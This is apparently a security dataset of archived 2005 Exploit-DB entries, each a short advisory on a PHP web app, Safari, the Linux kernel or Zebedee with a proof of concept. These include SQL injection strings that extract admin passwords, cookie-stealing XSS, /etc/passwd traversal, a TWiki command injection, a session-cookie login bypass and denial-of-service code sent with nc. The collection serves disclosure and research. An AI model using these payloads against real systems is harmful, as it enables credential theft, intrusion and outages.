QLWD/code_shield huggingface dataset:
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/modlog.php?orderby' Cross-Site Scripting EDB-ID: 26282 CVE: 2005-3020 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14874/info
    
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/modlog.php?do=view&orderby=[XSS] URL: https://www.exploit-db.com/exploits/26282
标题: jPORTAL 2.2.1/2.3.1 - 'download.php' SQL Injection EDB-ID: 26293 CVE: 2005-3052 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/14926/info

JPortal is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

a%' UNION SELECT NULL , NULL , nick , pass, NULL , NULL , NULL , NULL , NULL , NULL , NULL , NULL FROM admins/* URL: https://www.exploit-db.com/exploits/26293
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26279 CVE: 2005-3020 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14874/info
 
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modcp/index.php?do=frames&loc=[XSS]
http://www.example.com/admincp/index.php?redirect=[XSS]
http://www.example.com/admincp/index.php?do=frames&loc=[XSS] URL: https://www.exploit-db.com/exploits/26279
标题: Hesk 0.92/0.93 - Session ID Authentication Bypass EDB-ID: 26285 CVE: 2005-3005 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/14879/info

Hesk is prone to an authentication bypass vulnerability.

Successful exploitation will grant an attacker administrative access to the application. This can lead to unauthorized access of sensitive data, modification of helpdesk data and program code, and other types of attacks. 

1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.example.com/hesk/admin.php
Cookie: PHPSESSID=12345 <!-- Random Session ID--!>
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
user=1&pass=sdfd&a=do_login");

2. GET request to administrative control panel:
GET admin_main.php +
("Host: www.example.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7)
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: PHPSESSID=12345") <!-- Session ID --!> URL: https://www.exploit-db.com/exploits/26285
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/user.php?email' Cross-Site Scripting EDB-ID: 26280 CVE: 2005-3020 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14874/info
  
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modcp/user.php?do=gethost&ip=[XSS]
http://www.example.com/admincp/user.php?do=emailpassword&email=[XSS] URL: https://www.exploit-db.com/exploits/26280
标题: MX Shop 3.2 - 'index.php' Multiple SQL Injections EDB-ID: 26284 CVE: 2005-3004 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14876/info

MX Shop is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?mod=pages&idp='[SQL INJECTION]
http://www.example.com/index.php?mod=pages&id_ctg='[SQL INJECTION]
http://www.example.com/index.php?mod=pages&id_prd='[SQL INJECTION] URL: https://www.exploit-db.com/exploits/26284
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/user.php' Multiple SQL Injections EDB-ID: 26274 CVE: 2005-3019 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14872/info
 
vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /admincp/user.php:
GET: <do=find&orderby=username&limitnumber=[SQL-Injection]>
GET: <do=find&orderby=username&limitstart=[SQL-Injection]> URL: https://www.exploit-db.com/exploits/26274
标题: Apple Safari 1.x/2.0.1 - Data URI Memory Corruption EDB-ID: 26271 CVE: 2005-3018 类型: DOS 平台: OSX 发布日期: 2005-09-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14868/info

Apple Safari is prone to a memory corruption vulnerability. This issue is exposed when the browser opens specific 'data:' URIs, causing the browser to crash.

Though unconfirmed, this vulnerability could be exploitable to execute arbitrary code.

data://<h1>crash</h1>
data://<h>/< URL: https://www.exploit-db.com/exploits/26271
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/usertools.php?ids' SQL Injection EDB-ID: 26276 CVE: 2005-3019 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14872/info
   
vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /admincp/usertools.php:
POST: <do=updateprofilepic> URL: https://www.exploit-db.com/exploits/26276
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/usertitle.php?usertitleid' SQL Injection EDB-ID: 26275 CVE: 2005-3019 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14872/info
  
vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /admincp/usertitle.php:
GET: <do=edit&usertitleid=0XF>
GET: <do=pmuserstats&ids=0XF> URL: https://www.exploit-db.com/exploits/26275
标题: vBulletin 1.0.1 lite/2.x/3.0 - 'joinrequests.php?request' SQL Injection EDB-ID: 26273 CVE: 2005-3019 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14872/info

vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /joinrequests.php:
POST: <do=processjoinrequests&usergroupid=22&request[[SQL-Injection]]=0> URL: https://www.exploit-db.com/exploits/26273
标题: DeluxeBB 1.0 - 'pm.php' SQL Injection EDB-ID: 26267 CVE: 2005-2989 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14851/info
   
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/pm.php?sub=newpm&uid=[code] URL: https://www.exploit-db.com/exploits/26267
标题: AEwebworks aeDating 3.2/4.0 - 'search_result.php' SQL Injection EDB-ID: 26263 CVE: 2005-2985 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14847/info

AEwebworks aeDating is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before it is used in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/search_result.php?Sex=male&LookingFor=female&DateOfBirth_start=18&DateOfBirth_end=40&Country%5B%5D=0UNION URL: https://www.exploit-db.com/exploits/26263
标题: DeluxeBB 1.0 - 'misc.php' SQL Injection EDB-ID: 26265 CVE: 2005-2989 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14851/info
 
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/misc.php?sub=profile&uid=[code] URL: https://www.exploit-db.com/exploits/26265
标题: DeluxeBB 1.0 - 'forums.php' SQL Injection EDB-ID: 26266 CVE: 2005-2989 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14851/info
  
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/forums.php?fid=[code] URL: https://www.exploit-db.com/exploits/26266
标题: DeluxeBB 1.0 - 'topic.php' SQL Injection EDB-ID: 26264 CVE: 2005-2989 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14851/info

DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/topic.php?tid=[code] URL: https://www.exploit-db.com/exploits/26264
标题: DeluxeBB 1.0 - 'newpost.php' SQL Injection EDB-ID: 26268 CVE: 2005-2989 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14851/info
    
DeluxeBB is prone to multiple SQL injection vulnerabilities. These are due to a lack of proper sanitization of user-supplied input before being sent to SQL queries.
    
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/newpost.php?sub=newthread&fid=[code] URL: https://www.exploit-db.com/exploits/26268
标题: EPay Pro 2.0 - 'index.php' Directory Traversal EDB-ID: 26272 CVE: 2005-3026 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14871/info

EPay Pro is prone to a directory traversal vulnerability. This is due to a lack of proper validation of user-supplied input.

An unauthorized user can retrieve arbitrary files by supplying directory traversal strings '../' to the vulnerable parameter. Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

http://www.example.com/index.php?read=../../../../../../../../../../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/26272
标题: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/css.php?group' Cross-Site Scripting EDB-ID: 26278 CVE: 2005-3020 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/14874/info

vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/css.php?do=doedit&dostyleid=1&group=[XSS] URL: https://www.exploit-db.com/exploits/26278
标题: Noah's Classifieds 1.3 - 'index.php' Cross-Site Scripting EDB-ID: 26261 CVE: 2005-2980 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/14835/info

Noah's Classifieds is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 


http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4'<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26261
标题: Noah's Classifieds 1.2/1.3 - 'index.php' SQL Injection EDB-ID: 26259 CVE: 2005-2979 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/14833/info

Noah's Classifieds is prone to an SQL injection vulnerability. This is due to a lack of proper sanitization of user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/classifieds/index.php?methode=showdetails&list=Advertisment&rollid=4' URL: https://www.exploit-db.com/exploits/26259
标题: MIVA Merchant 5 - Merchant.MVC Cross-Site Scripting EDB-ID: 26256 CVE: 2005-2953 类型: WEBAPPS 平台: CGI 发布日期: 2005-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/14828/info

MIVA Merchant 5 is prone to a cross-site scripting vulnerability.This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/mm5/merchant.mvc&Screen=ACNT&Action=EMPW&Customer_Login="><script>document.write("\n<br><input%20type=text%20name=somenewfield%20value='Hello%20World'>")</script> URL: https://www.exploit-db.com/exploits/26256
标题: ATutor 1.5.1 - 'password_reminder.php' SQL Injection EDB-ID: 26257 CVE: 2005-2954 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/14831/info

ATutor is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

go to http://www.example.com/atutor/password_reminder.php

and in the email field type:

' UNION SELECT login, password, 'your_email@example.com' FROM AT_admins /* URL: https://www.exploit-db.com/exploits/26257
标题: Linux Kernel 2.6.x - SCSI ProcFS Denial of Service EDB-ID: 26248 CVE: 2005-2800 类型: DOS 平台: LINUX 发布日期: 2005-09-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/14790/info

The Linux kernel is prone to a denial-of-service vulnerability. The kernel is affected by a memory leak, which eventually can result in a denial of service.

A local attacker can exploit this vulnerability by making repeated reads to the '/proc/scsi/sg/devices' file, which will exhaust kernel memory and lead to a denial of service. 

#!/bin/sh

while true; do
cat /proc/scsi/sg/devices > /dev/null
done URL: https://www.exploit-db.com/exploits/26248
标题: ATutor 1.5.1 - Chat Logs Remote Information Disclosure EDB-ID: 26258 CVE: 2005-2956 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/14832/info

ATutor is prone to a remote information disclosure vulnerability. This issue is due to a failure in the application to perform proper access validation before granting access to privileged information.

A remote attacker can exploit this vulnerability and make repeated GET requests for the chat logs, effectively retrieving all chat archives. Information obtained may aid an attacker in further attacks. 

http://www.example.com/atutor/content/chat/2/msgs/1.message
http://www.example.com/atutor/content/chat/2/msgs/2.message
http://www.example.com/atutor/content/chat/2/msgs/3.message URL: https://www.exploit-db.com/exploits/26258
标题: Subscribe Me Pro 2.44 - S.pl Directory Traversal EDB-ID: 26252 CVE: 2005-2952 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/14817/info

Subscribe Me Pro is prone to a directory traversal vulnerability. This is due to a lack of proper sanitization of user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality as arbitrary files are disclosed to an attacker. Information obtained through this attack may aid in further attacks against the underlying system.

Subscribe Me Pro 2.044.09P and prior are affected by this vulnerability.

http://www.example.com/[dir]/s.pl?e=1&subscribe=subscribe&l=../../../../../../../../etc/passwd%00&SUBMIT=%20%20Submit%20%20
http://www.example.com/[dir]/s.pl?e=enter%20your%20email%20address%20here&subscribe=subscribe&l=../../../../../../../../etc/passwd%00 URL: https://www.exploit-db.com/exploits/26252
标题: Land Down Under 800/801 - 'auth.php?m' SQL Injection EDB-ID: 26253 CVE: 2005-4821 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/14820/info

Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/auth.php?m=all'%20;%20AND%20THIS=VULN
http://www.example.com/auth.php?m='%20;%20AND%20THIS=VULN URL: https://www.exploit-db.com/exploits/26253
标题: TWiki TWikiUsers - Arbitrary Command Execution EDB-ID: 26260 CVE: 2005-2877 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/14834/info

A remote command execution vulnerability affects the application.

The revision control function of the TWikiUsers script uses the backtick shell metacharacter to construct a command line. An attacker may use a specially crafted URI to execute arbitrary commands through the shell.

This attack would occur in the context of the vulnerable application and can facilitate unauthorized remote access. 

http://www.example.com/cgi-bin/view/Main/TWikiUsers?rev=2%20%7Cless%20/etc/passwd URL: https://www.exploit-db.com/exploits/26260
标题: Zebedee 2.4.1 - Remote Denial of Service EDB-ID: 26249 CVE: 2005-2904 类型: DOS 平台: LINUX 发布日期: 2005-09-09 漏洞利用脚本: // source: https://www.securityfocus.com/bid/14796/info

A remote denial of service vulnerability affects Zebedee. This issue is due to a failure of the application to properly handle exceptional network requests.

Specifically, Zebedee is unable to handle requests for connections that contain a zero for the requested destination port.

A remote attacker may leverage this issue to crash the affected application, denying service to legitimate users.

Zebedee version 2.4.1 is reported vulnerable to this issue; other versions may also be affected.

/*
        $ gcc -o mkZebedeeDoS mkZebedeeDoS.c
        $ ./mkZebedeeDoS > zebedeeDoS
        $ nc targethost port < zebedeeDoS
*/

#include <stdio.h>

int main (int argc, char **argv)
{

        int i, size;

        char data[] = {
        0x02, 0x01, // protocol version
        0x00, 0x00, // flags
        0x20, 0x00, // max message size
        0x00, 0x06, // compression info
        0x00, 0x00, // port request: value = 0x0
        0x00, 0x80, // key length
        0xff, 0xff, 0xff, 0xff, // key token
        0x0b, 0xd8, 0x30, 0xb3, 0x21, 0x9c, 0xa6, 0x74, // nonce value
        0x00, 0x00, 0x00, 0x00 // target host address
         };

        size = 28;
        for(i=0; i<size; i++){
                printf("%c", data[i]);
        }

        return 0;

} URL: https://www.exploit-db.com/exploits/26249
标题: Land Down Under 800/801 - 'plug.php?e' SQL Injection EDB-ID: 26254 CVE: 2005-4821 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/14820/info
 
Land Down Under is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/plug.php?e=topitems';AND%20THIS=LAME URL: https://www.exploit-db.com/exploits/26254
标题: Stylemotion WEB//NEWS 1.4 - 'print.php?id' SQL Injection EDB-ID: 26236 CVE: 2005-2896 类型: WEBAPPS 平台: PHP 发布日期: 2005-09-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/14776/info
  
WEB//NEWS is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/print.php?id=[SQL] URL: https://www.exploit-db.com/exploits/26236